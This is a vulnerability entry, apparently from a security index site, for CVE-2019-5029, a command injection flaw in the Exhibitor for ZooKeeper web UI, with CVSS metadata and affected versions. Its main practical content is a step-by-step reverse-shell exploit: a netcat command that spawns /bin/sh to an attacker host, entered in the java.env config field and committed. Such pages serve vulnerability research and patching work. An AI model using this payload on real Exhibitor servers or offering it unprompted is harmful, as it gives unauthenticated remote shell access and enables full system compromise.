# CVE-2019-5029 - Exhibitor RCE

- **URL:** https://hackindex.io/vulnerabilities/CVE-2019-5029
- **CVE:** CVE-2019-5029
- **GHSA:** GHSA-vq4h-pfrp-qjjj
- **CVSS score:** 9.8
- **CVSS vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Type:** CWE-78
- **Authentication:** None
- **Complexity:** Low
- **Privileges:** None
- **Affected versions:** >= 1.0.9 && <= 1.7.1
- **Patched versions:** > 1.7.1 || < 1.0.9
- **Published:** 2026-02-25
- **Updated:** 2026-03-30

**CVE-2019-5029**: this is a **command injection** flaw in the **Exhibitor Web UI** Config editor (versions **1.0.9 to 1.7.1**) where an attacker can insert shell commands using backticks or `$()` that get executed by the Exhibitor process when it launches ZooKeeper. It was publicly described and published in NVD on **November 13, 2019**. If exploited, it can cause **remote code execution** as the user running Exhibitor, potentially leading to full system compromise.

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

#### Code execution (Reverse shell)

1. Go to Exhibitor for ZooKeeper
2. Go to "Config" tab
3. Toggle "Editing" to ON
4. Inside java.env script put the following:

```bash
$(/bin/nc -e /bin/sh $LHOST $LPORT &)
# LHOST AND LPORT ARE YOUR OWN VALUES
```

1. Press "Commit..." and select all changes
2. Wait for the command to execute